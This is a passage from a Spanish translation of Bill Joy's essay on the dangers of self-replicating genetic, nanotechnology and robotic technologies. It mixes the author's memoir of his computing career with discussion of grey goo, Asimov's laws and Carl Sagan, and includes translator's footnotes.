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5. Isaac Asimov describió lo que se convertiría en la visión más célebre acerca de
reglas éticas para el comportamiento de los robots en su libro Yo, Robot, de 1950,
con sus Tres Leyes de la Robótica [hay trad. cast. Yo, robot. Buenos Aires,
Sudamericana, 1977]:

1.Un robot nunca debe dañar a un ser humano, o por inacción, permi-
tir que un ser humano resulte dañado.
2. Un robot debe obedecer las órdenes provenientes de un ser humano,
excepto cuando estas órdenes entren en contradicción con la Primera
Ley.
3. Un robot debe proteger su propia existencia, siempre y cuando esta
protección no entre en contradicción con la Primera o la Segunda Ley.
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cortos que son los horizontes de tiempo por los que se preocupa nues-
tra sociedad.6

Así es que viajé a Los Ángeles nada más que para cenar con Danny
y su esposa, Pati. Pasé por mi rutina de contarles las ideas y fragmentos
que me resultaban tan chocantes. La respuesta de Danny –en relación al
escenario de Kurzweil de humanos fundiéndose con robots– vino de
inmediato, y me sorprendió. Dijo, sencillamente, que los cambios suce-
derían gradualmente, y que nos acostumbraríamos a ellos. 

Pero supongo que no estaba sorprendido del todo. Había visto una
cita de Danny en el libro de Kurzweil en la que decía: “Quiero tanto a
mi cuerpo como cualquiera, pero si puedo llegar a los 200 años con un
cuerpo de silicona, lo voy a aceptar.” Daba la sensación de estar tran-
quilo con la manera en que se daban las cosas y sus eventuales riesgos,
mientras que yo no.

Mientras hablaba y pensaba sobre Kurzweil, Kaczynski y Moravec,
de pronto me acordé de una novela que había leído unos 20 años antes
–La peste blanca, de Frank Herbert– en la que un biólogo molecular se
vuelve loco por el asesinato sin sentido de su familia. Para vengarse crea
y dispersa una plaga nueva y contagiosa que mata ampliamente pero de
manera selectiva. (Tenemos suerte de que Kaczynski era matemático, no
biólogo molecular). También me vino a la mente el Borg de Star Trek, un
enjambre de criaturas en parte biológicas y en parte robóticas con un
enorme impulso destructivo. Las catástrofes Borg son materia prima de
la ciencia ficción, entonces ¿por qué no me había angustiado antes por
distopías robóticas como esa? ¿Por qué no había, además, otras per-
sonas preocupadas por estos escenarios de pesadilla?

Parte de la respuesta yace en nuestra actitud hacia lo nuevo –en
nuestra disposición a familiarizarnos rápido y a aceptar sin cuestionar.
Acostumbrados a vivir con adelantos científicos que se dan casi como
una rutina, todavía tenemos que hacernos la idea de que las tecnologías
más seductoras del siglo XXI –robótica, ingeniería genética y nanotec-
nología– plantean una amenaza distinta que la de las tecnologías que
han venido antes. Puntualmente, los robots, los organismos diseñados y
la nanotecnología comparten un peligroso factor amplificador: pueden

6. Ver “Test of time”, en Wired, Nº 8.03, año 8, marzo de 2000. p. 78 (hay versión en
Internet: http://www.wired.com/wired/archive/8.03/eword.html?pg=2/).
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auto-replicarse.7 Una bomba se hace detonar una sola vez –pero un
robot puede volverse muchos, y rápidamente salirse de control. 

Gran parte de mi trabajo en los últimos 25 años estuvo centrado en
redes de computadoras, donde el envío y recepción de mensajes crea la
posibilidad de replicaciones fuera de control. Pero mientras que la repli-
cación en una computadora o una red de computadoras puede ser una
gran molestia, a lo sumo cuelga una computadora o hace caer un servi-
cio de redes. La auto-replicación sin controles en estas nuevas tec-
nologías conduce a riesgos mucho mayores: riesgo de daños sustan-
ciales dentro del mundo físico. 

Cada una de estas tecnologías, además, anuncia grandes promesas:
la visión de semi-inmortalidad que Kurzweil ve en sus sueños robóticos
nos transporta al futuro; la ingeniería genética podría pronto dar
tratamientos, e incluso curas, para la mayoría de las enfermedades; y la
nanotecnología y la nanomedicina pueden encargarse de todavía más
enfermedades. Juntas podrían extender de manera significativa el
promedio de nuestras expectativas de vida y mejorar su calidad. Sin
embargo, con cada una de estas tecnologías, una serie de mínimos
avances, importantes en sí mismos, conducen hacia  una acumulación
de gran poder e, inseparablemente, de gran peligro.

¿Qué era distinto en el siglo XX? Ciertamente, las tecnologías en
que se basaban las armas de destrucción masiva (ADM) –nucleares,
biológicas, y químicas (NBQ)– eran poderosas, y las armas eran una
enorme amenaza. Pero fabricar armas nucleares requería, al menos por
un tiempo, acceso tanto a materiales muy escasos, a veces incon-
seguibles, como a información altamente protegida; los programas de
armas biológicas y químicas también tendían a requerir actividades a
gran escala.

Las tecnologías del siglo XXI –genética, nanotecnología, y robótica
(GNR)– son tan poderosas que pueden impulsar clases enteramente
nuevas de accidentes y abusos. Todavía más peligroso: por primera vez
estos accidentes y abusos están al alcance de individuos o grupos
reducidos. No requerirán gran infraestructura ni materiales con compli-
caciones. El conocimiento bastará para poder usarlas. 

7. De ”auto-replicate”: hacer copias de sí sin ayuda exterior. (N. del. T.) 
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Así, tenemos la posibilidad ya no sólo de armas de destrucción
masiva sino de destrucción masiva habilitada por el conocimiento, sien-
do esta destructividad ampliada enormemente por el poder de la auto-
replicación.

Yo creo que no es una exageración decir que estamos en el punto
más elevado de la perfección del mal extremo, un mal cuya posibilidad
va más allá de la que las armas de destrucción masiva le daban a los
estados-nación, y que alcanza niveles sorprendentes y terribles de acu-
mulación de poder en manos de individuos aislados.

Nada en la manera en que me ví relacionado con las computadoras
me insinuaba que iba a tener que hacerme cargo de estos temas. 

Mi vida ha estado impulsada por una profunda necesidad de hacer
preguntas y hallar respuestas. Cuando tenía 3 años, ya leía, por lo que
mi padre me llevó a la escuela, donde me senté en las rodillas del direc-
tor y le leí un cuento. Empecé temprano la escuela, después me salteé
un grado, y me fugué a través de los libros –estaba increíblemente moti-
vado para aprender. Hacía muchas preguntas, a menudo volviendo
locos a los adultos.

En la adolescencia estaba muy interesado en la ciencia y la tec-
nología. Quería ser radio aficionado, pero no tenía plata para comprar
el equipo. La radio y los operadores de radio eran la Internet de la
época: muy adictiva, y bastante solitaria. Más allá de lo económico, mi
madre bajó el pulgar –no iba a ser radio aficionado; ya era demasiado
antisocial.

A lo mejor no tenía tantos amigos íntimos, pero estaba lleno de
ideas. En la secundaria, ya había descubierto a los grandes escritores de
ciencia ficción. Me acuerdo en especial de Have Spacesuit Will Travel de
Heinlein, y Yo, Robot de Asimov, con sus Tres Leyes de la Robótica. Me
fascinaron las descripciones de los viajes en el espacio, y quería tener un
telescopio para mirar las estrellas; dado que no tenía plata para comprar
o hacer uno, sacaba libros de construcción de telescopios de la bibliote-
ca y, en su lugar, leía sobre la manera en que se construían. Volaba en mi
imaginación.

Los jueves a la noche mis padres iban al bowling, y los chicos nos
quedábamos solos en la casa. Era la noche del Star Trek original de Gene
Roddenberry, y el programa me causó una gran impresión. Terminé
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aceptando la noción de que los humanos tenían un futuro en el espacio,
al estilo del Far West, con grandes héroes y aventuras. La visión de
Roddenberry de los siglos venideros era una de valores morales firmes,
basados en códigos como la Directiva Principal: no interferir en el desa-
rrollo de civilizaciones menos avanzadas tecnológicamente. Esto era
algo muy atrapante para mí: los que dominaban ese futuro eran
humanos con ética, no robots, y yo hice propio el sueño de
Roddenberry.

Me destaqué en matemáticas en la secundaria, y cuando estudiaba
para ingeniería en la Universidad de Michigan, seguí el plan de estudios
de la especialización en matemática. Resolver problemas matemáticos
era un desafío interesante, pero cuando descubrí las computadoras
encontré algo mucho mejor: una máquina en la cual vos podías poner
un programa que intentaba resolver un problema, y luego la máquina
rápidamente buscaba la solución. La computadora tenía nociones muy
precisas de lo correcto/lo incorrecto, lo falso/lo verdadero. Eso era muy
seductor.

Tuve suerte y pude conseguir empleo programando algunos de los
primeros modelos de supercomputadoras, y descubrí el poder sorpren-
dente de las grandes máquinas para simular diseños numéricamente
avanzados. Cuando fui a la escuela de graduados en Berkeley a media-
dos de los ‘70, empecé a quedarme despierto hasta tarde, o toda la
noche, inventando nuevos mundos dentro de las máquinas.
Resolviendo problemas. Escribiendo el código que tanto pedía ser
escrito.

En The Agony and the Ecstasy, la novela biográfica de Irving Stone
sobre Miguel Ángel, Stone describe vivamente cómo Miguel Ángel
sacaba las estatuas de la piedra, “rompiendo el hechizo del mármol”,
esculpiendo con las imágenes de su mente.8 En mis momentos de
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8. Miguel Ángel escribió un soneto que empieza así:

Non ha l´ottimo artista alcun concetto
Ch´ un marmo solo in sè non circonscriva
Col suo soverchio; e solo a quello arriva
La man che ubbidisce all´ intelleto.

No tenía el mejor de los artistas pensamiento que mostrar
Que la piedra áspera en su superflua cubierta 
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mayor éxtasis, el software en la computadora se me aparecía de la
misma manera. Una vez que me lo había imaginado, yo sentía que ya
estaba ahí dentro, en la computadora, esperando a ser liberado. Pasar la
noche despierto era un precio pequeño por liberarlo –por darles forma
concreta a las ideas.

Después de unos años en Berkeley empecé a entregar algo del
software que había estado escribiendo –un sistema instructivo de
Pascal, utilitarios de Unix, un editor de texto llamado vi (que todavía es
ampliamente usado, aunque suene raro, más de 20 años después)– a
otros que tenían minicomputadoras similares, PDP-11 y VAX. Estas
aventuras de software eventualmente se convirtieron en la versión de
Berkeley del sistema operativo Unix, que se convirtió en un “éxito-
desastre” personal –lo quería tanta gente que nunca terminé el doctora-
do. En cambio conseguí empleo trabajando para Darpa, poniendo el
Berkeley Unix en Internet y arreglándolo para que fuera confiable y
pudiera correr bien programas pesados para investigación. Todo esto
era divertido y muy gratificante. Y, sinceramente, no ví robots por ahí,
o en ningún lugar de los alrededores.

Igualmente, al empezar los ‘80, me estaba ahogando. Las entregas
sucesivas de Unix eran muy exitosas, y mi proyecto personal consiguió
dinero y algunos ayudantes, pero el problema en Berkeley era siempre
el espacio de la oficina, más que el dinero –no se contaba con el lugar
que necesitaba el proyecto, así que cuando aparecieron los otros fun-
dadores de Sun Microsystems me abalancé para unirme a ellos. En Sun,
las largas horas siguieron en los días en que aparecían las primeras esta-
ciones de trabajo y las computadoras personales, y he disfrutado de par-
ticipar en la creación de microprocesadores avanzados y tecnologías de
Internet como Java y Jini. 

No traiga ya; romper el hechizo del mármol
Es todo a lo que la mano que sirve al intelecto puede aspirar.

Stone describe el proceso:
“No trabajaba a partir de sus dibujos o modelos de arcilla, a todos los había deja-
do de lado. Estaba esculpiendo de las imágenes en su mente. Sus ojos y sus manos
sabían donde debían emerger cada línea, curva, espesor, y a qué profundidad en el
corazón de la piedra para crear el bajo relieve.” (The Agony and the Ecstasy. Garden
City, Doubleday, 1961. pp. 6, 144 [hay trad. cast.: La agonía y el éxtasis: vida de Miguel
Ángel. Buenos Aires, Emecé, 1978].)



De todo esto, pienso que queda claro que no soy un luddita. Por el
contrario, siempre estuve convencido del valor de la investigación cien-
tífica de la verdad y de la capacidad de la buena ingeniería para aportar
progreso material. La Revolución Industrial ha mejorado incalculable-
mente la vida de todos a lo largo del último par de siglos, y siempre
esperé que mi carrera participara en la creación de soluciones valiosas
para problemas reales, un problema a la vez.

No he sido defraudado. Mi trabajo ha tenido más impacto del que
hubiera soñado y ha sido usado más ampliamente de lo que hubiera
esperado. He pasado los últimos 20 años tratando de descubrir cómo
hacer para que las computadoras sean tan confiables como quiero que
sean (por ahora no están ni cerca), y cómo hacer para que sean fáciles de
usar (algo que tuvo todavía menos éxito). Pese a algunos progresos, los
problemas que quedan son todavía desafíos más grandes. 

Pero mientras estaba al tanto de los dilemas morales en relación a
las consecuencias tecnológicas de campos como la investigación de
armas, no esperaba enfrentarme a estos temas en mi propio campo, o al
menos no tan pronto.

A lo mejor lo que pasa es que suele ser difícil ver todo el panorama
mientras estás en medio de los cambios. No llegar a entender las conse-
cuencias de las invenciones mientras estamos en la ola de los des-
cubrimientos y de los avances, parecería ser un error común en científi-
cos y tecnólogos; nos hemos dejado llevar desde hace mucho por el
sobrecogedor deseo de saber, que es natural a la aventura científica, sin
detenernos a darnos cuenta de que el progreso hacia nuevas y más
poderosas tecnologías puede cobrar vida propia.

Me he dado cuenta hace mucho que los grandes avances de la tec-
nología de la información vienen no del trabajo de científicos informáti-
cos, de arquitectos de computadoras o de ingenieros eléctricos sino de
investigadores de física. Los físicos Stephen Wolfram y Brosl Hasslacher
me introdujeron, en los tempranos ‘80, a la teoría del caos y a los sis-
temas no-lineales. Aprendí acerca de sistemas complejos de conversa-
ciones con Danny Hillis, el biólogo Stuart Kauffman, el Nobel de Física
Murray Gell-Mann y otros. Más recientemente, Hasslacher y el inge-
niero eléctrico y físico mecánico Mark Reed han estado dándome un
panorama de las posibilidades increíbles de la electrónica molecular.
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En mi propio trabajo en el co-diseño de tres arquitecturas de micro-
procesadores –SPARC, picoJAVA, y MAJC–, y como diseñador de suce-
sivas implementaciones a partir de éstos, he logrado familiarizarme en
profundidad y sin mediaciones con la ley de Moore. La ley de Moore9

ha predicho correctamente el índice exponencial de mejoramiento de la
tecnología de semiconductores. Hasta el año pasado yo creía que el
índice de innovaciones predicho por la ley de Moore podía sostenerse
como mucho hasta el 2010, momento en que empezarían a encontrarse
limitaciones físicas. No era obvio para mí que iba a llegar una tecnología
nueva justo a tiempo para sostener el ritmo de avance.

Pero debido a avances radicales que se dieron recientemente en
áreas como la electrónica molecular –en donde se reemplazan los tran-
sistores dispuestos litográficamente por átomos y moléculas indivi-
duales–, y en el de las tecnologías de nanoescalas relacionadas a las
anteriores, deberíamos estar preparados para cumplir o exceder el
índice de progreso de la ley de Moore por otros 30 años. Para el 2030, es
probable que podamos construir, en cantidad, máquinas un millón de
veces más poderosas que las computadoras personales de hoy en día –lo
que es suficiente para implementar los sueños de Kurzweil y Moravec.

Al combinarse este enorme poder informático con los avances en
manipulación de las ciencias físicas y el nuevo, y profundo, conocimien-
to de la genética, se está desatando un enorme poder transformador.
Estas combinaciones abren la oportunidad de rediseñar completamente
el mundo, para mejor o peor: los procesos de replicación y evolución
que han estado confinados al mundo natural están por volverse reinos
del quehacer humano.

Diseñando software y microprocesadores, yo nunca había tenido la
sensación de que estaba diseñando una máquina inteligente. El software
y el hardware son tan frágiles, y la capacidad de las máquinas de “pen-
sar” se muestra tan ausente que, incluso como posibilidad, siempre me
pareció muy alejada en el futuro.

9. Según la ley de Moore cada veinticuatro meses la industria de la informática
logra duplicar la cantidad de transistores instalados en un circuito integrado del
mismo tamaño y costo de producción. La Ley ha venido corroborándose desde
1975. (N. del T.)



Pero ahora, con la perspectiva de un poder de procesamiento de
nivel humano en unos 30 años, una idea nueva surge sola: que podría
estar trabajando para crear herramientas que van a permitir la creación
de la tecnología que podría reemplazar a nuestra especie. ¿Cómo me
siento al respecto? Muy incómodo. Habiendo luchado toda mi carrera
para construir sistemas de software confiables, me parece a mí más que
probable que este futuro no va a funcionar tan bien como alguna gente
se imagina. Mi experiencia personal sugiere que tendemos a sobreva-
luar nuestras habilidades para el diseño.

Dado el increíble poder de estas tecnologías novedosas, ¿no
deberíamos estar preguntándonos cómo podemos coexistir mejor con
ellas? ¿Y si nuestra propia extinción es contemplable como posibilidad
por las consecuencias de nuestro desarrollo tecnológico, no deberíamos
proceder con cuidado?

El sueño de la robótica es, primero, que las máquinas inteligentes
puedan hacer el trabajo por nosotros, permitiéndonos tener vidas de
ocio, devolviéndonos al Edén. Sin embargo, en su historia de estas
ideas, Darwing among the Machines, George Dyson [Reading, Addison-
Wesley, 1997] advierte: “En el juego de la vida y la evolución hay tres
jugadores en la mesa: seres humanos, naturaleza y máquinas. Estoy
firmemente del lado de la naturaleza. Pero la naturaleza, sospecho, está
del lado de las máquinas.” Como hemos visto, Moravec está de acuerdo
en la creencia de que podríamos llegar a no sobrevivir luego del encuen-
tro con las especies robots superiores.

¿Qué tan pronto podría ser construido ese robot inteligente? Los
avances anunciados en el poder de procesamiento de las computadoras
parecen hacerlo posible para el 2030. Y una vez que ya existe un robot
inteligente, queda un pequeño paso hacia una especie robot –hacia un
robot inteligente que puede hacer copias evolucionadas de sí mismo. 

Un segundo sueño de la robótica es que gradualmente nos reem-
placemos a nosotros mismos con nuestra tecnología robótica, consi-
guiendo una casi inmortalidad mediante la descarga10 de nuestras con-
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10. “Downloading”, término utilizado en informática para referirse a un envío de
datos de una computadora a otra, generalmente separadas y comunicadas en red
o por módem (N. del T.)
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ciencias; es el proceso al que Danny Hillis piensa que nos iremos acos-
tumbrando lentamente y que Ray Kurzweil describe con elegancia en La
era de las máquinas espirituales. (Estamos empezando a ver acercamientos
a este tema en la implantación de dispositivos vinculados a computa-
doras dentro del cuerpo humano, como se muestra en la portada de
Wired de febrero de 2000).

¿Pero si nos descargamos en nuestra tecnología, qué posibilidades
hay de que después del proceso sigamos siendo nosotros, o incluso
humanos? Me parece a mí mucho más probable que una existencia
robótica no fuera como una humana, de ninguna manera en que la
entendemos, que los robots no serían de ninguna manera nuestros hijos,
que por este camino nuestra humanidad seguramente se perdería. 

La ingeniería genética promete: revolucionar la agricultura incre-
mentando las producciones de trigo, reduciendo el uso de pesticidas;
crear decenas de miles de nuevas especies de bacterias, plantas, virus y
animales; reemplazar la reproducción, o mejorarla, con la clonación;
crear curas para muchas enfermedades, incrementando nuestra expec-
tativa y calidad de vida; y mucho, mucho más. Ahora sabemos con
certeza que estos profundos cambios en las ciencias biológicas son inmi-
nentes y desafiarán todas nuestras nociones de lo que es la vida.

Tecnologías como la clonación humana, en particular, han genera-
do preocupación por los profundos problemas éticos y morales a que
nos enfrentan. Si, por ejemplo, fuéramos a remodelarnos en varias
especies separadas y distintas, usando el poder de la ingeniería genéti-
ca, entonces desestabilizaríamos la noción de igualdad que es la piedra
fundamental de nuestra democracia.

Dado el increíble poder de la ingeniería genética, no es sorpren-
dente que haya debates de envergadura en relación a la seguridad de su
uso. Mi amigo Amory Lovins recientemente co-escribió, junto con
Hunter Lovins, una nota de opinión que brinda una mirada ecológica en
torno a éstos peligros. Entre sus preocupaciones se halla el hecho de que
“la nueva botánica vincula el desarrollo de las plantas a su éxito, no evo-
lutivo, sino económico.”11 La extensa carrera de Amory ha estado o-

11. Ver Lovins, Amory B. y Lovins, L. Hunter, "A Tale of Two Botanies", en Wired,
Año 8, Nº 8.04, abril de 2000. p. 247 (hay versión en internet:
http://www.wired.com/wired/archive/8.04/botanies.html/).
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rientada a los recursos y la eficiencia energética a partir de una mirada
de sistema-total sobre los sistemas-humanos; esa mirada de sistema-
total muchas veces encuentra soluciones simples, inteligentes, a lo que
de otra manera se convierte en problemas tortuosos, y que también se
aplica a nuestro tema.

Después de leer la nota de Lovins, leí un artículo de Gregg
Easterbrook en la página editorial de The New York Times (19 de
noviembre de 1999) acerca de los cereales modificados, bajo el título de
“Comida para el Futuro: Algún día el arroz vendrá con Vitamina A ya
incorporada. A no ser que ganen los Ludditas.”

¿Son ludditas Amory y Hunter Lovins? Ciertamente no. Creo que
todos estamos de acuerdo en que el arroz dorado, con vitamina A incor-
porada, es algo bueno, si se desarrolla con cuidado y respeto por los
eventuales peligros de mover genes a través de las fronteras de las
especies.

La preocupación por los peligros inherentes a la ingeniería genética
está empezando a aumentar, como lo refleja la nota de Lovins. El públi-
co en general está al tanto, e incómodo respecto a las comidas modifi-
cadas genéticamente, y parece rechazar la idea de que estas comidas
deberían venderse sin identificarse como tales.

Pero la tecnología de ingeniería genética tiene ya mucho tiempo.
Como señalan los Lovins, el USDA [Departamento de Agricultura de
los Estados Unidos] lleva aprobados unos 50 cereales genéticamente
modificados para venta libre; más de la mitad de los porotos de soja y
un tercio del trigo del mundo contienen hoy genes provenientes de
otras formas de vida.

Mientras que hay varios temas importantes relacionados a esto, mi
mayor inquietud con respecto a la ingeniería genética es más concreta:
que da poder –sea militar, accidentalmente, o en un acto terrorista
deliberado– de crear una Peste Blanca.

Las diversas maravillas de la nanotecnología fueron imaginadas
por primera vez por el ganador del Nobel de física Richard Feynman en
un discurso que dio en 1959, publicado bajo el título de “Hay bastante
lugar en el fondo”. El libro que causó una gran impresión en mí, a me-
diados de los ‘80, fue Engines of Creation de Eric Drexler,12 en el que

12. Drexler, K. Eric, Engines of Creation: The coming era of Nanotechnology. Doubleday,
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describía con belleza cómo la manipulación de materia a un nivel atómi-
co podría crear un futuro utópico de abundancia, donde casi todo
podría fabricarse a bajo costo, y casi cualquier enfermedad o problema
físico podría resolverse usando nanotecnología e inteligencia artificial.

Un libro posterior, Unbounding the Future: The Nanotechnology
Revolution,13 que Drexler co-escribió, imagina algunos de los cambios
que podrían tener lugar en un mundo en que tuviéramos “ensam-
bladores” a nivel molecular. Los ensambladores podrían hacer posible
energía solar a costos bajísimos, curas para el cáncer y el resfrío común
por refuerzo del sistema inmunológico humano, limpieza esencial-
mente completa del medioambiente, supercomputadoras de bolsillo
increíblemente baratas –de hecho, cualquier producto sería fabricable a
un costo no mayor que el de la madera–, vuelos al espacio más accesi-
bles que los vuelos transoceánicos de hoy en día, y recuperación de
especies extinguidas.

Me acuerdo de sentirme muy bien respecto a la nanotecnología
después de haber leído Engines of Creation. Como tecnólogo, me dio una
sensación de calma –o sea, la nanotecnología nos mostraba que era posi-
ble un progreso increíble y, de hecho, quizás inevitable. Si la nanotec-
nología era nuestro futuro, entonces no me sentía presionado a resolver
tantos problemas en el presente. Llegaría al futuro de Drexler en el
tiempo previsto; podía disfrutar más de la vida aquí y ahora. No tenía
sentido, dada su visión, quedarse despierto toda la noche, todo el tiem-
po.

La visión de Drexler también llevó a bastante diversión. Cada tanto
me ponía a describir las maravillas de las nanotecnología a otros que no
habían oído hablar de ellas. Después de cansarlos con todas las cosas
que describía Drexler yo les podía dar una tarea para el hogar inventa-
da por mí: “Usen nanotecnología para crear un vampiro; para mayor
puntaje creen un antídoto”.

New York, 1986 (hay versión en internet: http://www.foresight.org/EOC/index.html/)
(hay trad. cast.: La nanotecnología: el surgimiento de las máquinas de creación.
Barcelona, Gedisa, 1993). (N. del E.)
13. Drexler, K. E., Peterson, C. y Pergamit, G., Unbounding the Future: The
Nanotechnology Revolution. New York, William Morrow, 1991 (hay versión en inter-
net: http://www.foresight.org/UTF/Unbound_LBW/index.html/). (N. del E.)
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Con estas maravillas venían claros peligros, de los cuales estaba al
tanto. Como dije en una conferencia sobre nanotecnología en 1989, “No
podemos simplemente hacer nuestra ciencia y no preocuparnos por
estos temas éticos.”14 Pero mis conversaciones posteriores con físicos
me convencieron de que la nanotecnología quizás ni siquiera llegara a
funcionar –o, por lo menos, no lo haría en los próximos tiempos. Poco
después me mudé a Colorado, a un grupo de estudio que había arma-
do, y el foco de mi trabajo cambió al software para Internet, específica-
mente a ideas que se convirtieron en Java y Jini.

Entonces, el verano pasado, Brosl Hasslacher me contó que la elec-
trónica molecular a nanoescalas ya era posible. Éstas eran noticias muy
nuevas para mí, y pienso que para mucha gente –y cambiaron radical-
mente mi opinión sobre la nanotecnología. Me llevaron de nuevo a
Engines of Creation. Leyendo el libro de Drexler después de más de 10
años, me shockeó darme cuenta lo poco que me acordaba de la larga
sección titulada “Peligros y Esperanzas”, que incluía una discusión
acerca de cómo las nanotecnologías podían convertirse en “motores de
destrucción”. De hecho, en mi relectura de este material hoy, quedé sor-
prendido por lo naïf que parecen algunas de las propuestas de seguri-
dad de Drexler, y por lo mucho más grandes que juzgo ahora los peli-
gros de lo que Drexler parecía hacerlo por entonces. (Habiendo antici-
pado y descrito muchos problemas técnicos y políticos de la nanotec-
nología, Drexler lanzó el Foresight Institute [Instituto para la Previsión]
a fines de los ‘80 “para ayudar a preparar a la sociedad para las nuevas
tecnologías de avanzada”–sobre todo, la nanotecnología.)

El salto que permitiría el desarrollo de ensambladores parece
factible dentro de los próximos 20 años. La electrónica molecular –el
nuevo subcampo de la nanotecnología en el que moléculas individuales
son elementos de los circuitos– debería madurar rápidamente y vol-
verse enormemente lucrativo a lo largo de esta década, generando un
gran incremento de inversiones en todas las nanotecnologías.

Desafortunadamente, como con la tecnología nuclear, es más fácil
crear usos destructivos para la nanotecnología que usos constructivos.

14. First Foresight Conference on Nanotechnology, octubre de 1989, charla titulada
“The future of computation”. Publicado en Crandall, B.C. y Lewis, J. (eds.),
Nanotechnology: Research and Perspectives. Cambridge, MIT Press, 1992. p. 269.
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La nanotecnología tiene claros usos militares y terroristas, y no se nece-
sita ser suicida para liberar un dispositivo nanotecnológico masiva-
mente destructivo –tales dispositivos pueden construirse para ser
destructivos selectivamente, afectando, por ejemplo, sólo una cierta área
geográfica, o un grupo de personas genéticamente distintivas.

Una consecuencia inmediata del contrato faustiano por obtener el
gran poder de la nanotecnología, es que corremos un grave riesgo –el
riesgo de que podríamos destruir la biosfera de la que depende toda la
vida.

Como Drexler explica:

‘Plantas’ con ‘hojas’ que no fueran más eficientes que las células solares
de hoy en día, podrían prevalecer sobre las plantas reales, poblando la
biosfera de un follaje inédito. Peor todavía, “bacterias” omnívoras
podrían prevalecer sobre las bacterias reales: podrían desparramarse
como polen por el aire, replicarse tranquilamente, y reducir la biosfera
a polvo en cuestión de días. Algunos replicadores peligrosos fácilmente
podrían ser demasiado resistentes, pequeños, y rápidos en su proli-
feración, como para detenerlos –por lo menos si no nos preparamos.
Tenemos bastantes problemas ya, controlando los virus y la mosca de
la fruta.

Entre los conocedores de la nanotecnología, este peligro ha pasado
a conocerse como el “problema del fango gris”. Aunque las masas de
replicadores descontrolados no necesiten ser grises o viscosas, “fango
gris” estaría enfatizando que los replicadores capaces de acabar con la
vida podrían ser menos atractivos que cualquier especie de pasto
común. Podrían ser superiores en un sentido evolutivo, pero esto no los
hace más valiosos en sí mismos.

La amenaza del “fango gris” deja en claro una cosa: no nos podemos
permitir cierto tipo de accidentes con ensambladores replicantes.

El fango gris sería sin duda un final deprimente para nuestra aven-
tura como habitantes de la Tierra, mucho peor que el fuego o el agua, y
sería un final que podría salir de un simple laboratorio.15
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15. En su novela de 1963, Cat´s Craddle, Kurt Vonnegut imaginó un accidente estilo
“fango gris” donde una forma de hielo llamada hielo-nueve, que se hace sólida a
temperaturas mucho mayores, congela los océanos [hay trad. cast.: Cuna de gato.
Barcelona, Anagrama, 1988].
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Más que nada, es el poder destructivo de la auto-replicación en
genética, nanotecnología y robótica (GNR) lo que debería obligarnos a
hacer una pausa. La auto-replicación es el modus operandi de la inge-
niería genética, que utiliza la maquinaria de la célula para replicar sus
diseños, y es el peligro más importante subyacente al fango gris en na-
notecnología. Historias de robots renegados como el Borg, replicándose
o mutando para escapar de las imposiciones éticas de sus creadores, son
bastante comunes en nuestros libros y películas de ciencia ficción.
Incluso es posible que la auto-replicación sea algo más amplio de como
la pensamos y, por eso, más difícil –o incluso imposible– de controlar.
Un artículo reciente de Stuart Kauffman en Nature titulado “Auto-
Replicación: hasta los péptidos lo hacen” analiza el descubrimiento de
que 32 pepto-aminoácidos pueden “auto-catalizar su propia síntesis”.
No sabemos hasta qué punto está extendida esta habilidad, pero
Kauffman señala que podría dar pistas de “una vía hacia sistemas mole-
culares auto-reproductores, con bases mucho más amplias que el base
par de Watson-Crick.”16

En verdad, hemos tenido avisos de los peligros inherentes al
conocimiento y difusión de las tecnologías GNR –de la posibilidad de
que el conocimiento por sí mismo diera lugar a una destrucción masiva.
Pero estos avisos no tuvieron demasiada prensa; los debates públicos
han sido notoriamente inadecuados. Hablar de los peligros no da
ganancias.

Las tecnologías nucleares, biológicas y químicas (NBQ) usadas en
las armas de destrucción masiva del siglo XX eran y son más que nada
militares, desarrolladas en laboratorios de gobiernos. En abierto con-
traste, las tecnologías GNR del siglo XXI tienen usos comerciales mani-
fiestos y están siendo desarrolladas casi exclusivamente por empresas
corporativas. En esta era de comercialismo triunfante, la tecnología –con
la ciencia tomada de la mano– está entregando una serie de invenciones
casi mágicas, que son de las más lucrativas que se han visto hasta ahora.
Estamos lanzados a hacer realidad las promesas de estas nuevas tec-
nologías dentro de este sistema, ahora sin competencia, del capitalismo

16. Kauffman, Stuart, “Self-replication: Even Peptides Do It”, en Nature, Nº 382, 8
de agosto de 1996, p. 496. Ver [versión en internet]
http://www.santafe.edu/sfi/People/Kauffman/sak-peptides.html/.
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global y su multiplicidad de incentivos financieros y de presiones com-
petitivas.

Este es el primer momento en la historia de nuestro planeta en que una
especie, por sus propias acciFones voluntarias, se ha convertido en una
amenaza para sí misma –así como para un vasto número de otras.

Pudiera ser un proceso esperable, que sucediera en diversos mun-
dos –un planeta, recientemente formado, evoluciona plácidamente en
la órbita de su estrella; la vida se forma lentamente; emerge la inteligen-
cia que, al menos hasta cierto momento, es valiosa para la superviven-
cia; y entonces se inventa la tecnología. Se dan cuenta de que hay cosas
como las leyes de la Naturaleza; de que estas leyes pueden revelarse
mediante experimentos, y que el conocimiento de estas leyes puede
usarse tanto para salvar vidas como para quitarlas, en ambos casos a
una escala sin precedentes. La ciencia, reconocen, confiere poderes
inmensos. En un instante crean dispositivos capaces de alterar el
mundo. Algunas civilizaciones planetarias se abren del camino, ponen
límites a lo que estaría bien hacer y lo que no, y siguen protegidas de
peligros a través del tiempo. Otras, con menos suerte, o menos pru-
dencia, perecen.

Ese es Carl Sagan, escribiendo en 1994, en Pale blue dot, un libro que
describía su visión del futuro humano en el espacio.17 Recién ahora
estoy dándome cuenta de lo profunda que era su visión, y de la manera
en que lo echo y lo echaré de menos. Por su elocuencia, el aporte de
Sagan era, sin ser menos, el del simple sentido común –un atributo del
que parecen carecer, junto al de la humildad, muchos de los voceros e
impulsores de las tecnologías del siglo XXI.

Me acuerdo de cuando era chico que mi abuela estaba en contra del
uso excesivo de antibióticos. Había trabajado como enfermera desde
antes de la Primera Guerra Mundial y tenía la noción de sentido común
de que tomar antibióticos, a menos que fueran absolutamente necesa-
rios, era malo para uno. 

17. Pale blue dot: a vision of the human future in space. New York, Random House, 1994
(hay trad. cast.: Un punto azul pálido: una visión del futuro humano en el espacio.
Barcelona, Planeta, 1995). (N. del E.)
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No es que fuera una enemiga del progreso. Vio muchos progresos
a lo largo de casi 70 años como enfermera; mi abuelo, diabético, se be-
nefició enormemente de las mejoras en los tratamientos que se hicieron
posibles a lo largo de su vida. Pero ella, como mucha otra gente, pen-
saría que es una gran arrogancia de nuestra parte estar, ahora, diseñan-
do una “especie robótica capaz de reemplazarnos”, cuando obviamente
tenemos tantos problemas en hacer que funcionen cosas relativamente
sencillas, y tantos problemas para manejarnos –o hasta entendernos– a
nosotros mismos.

Me doy cuenta ahora de que ella tenía una noción o una compren-
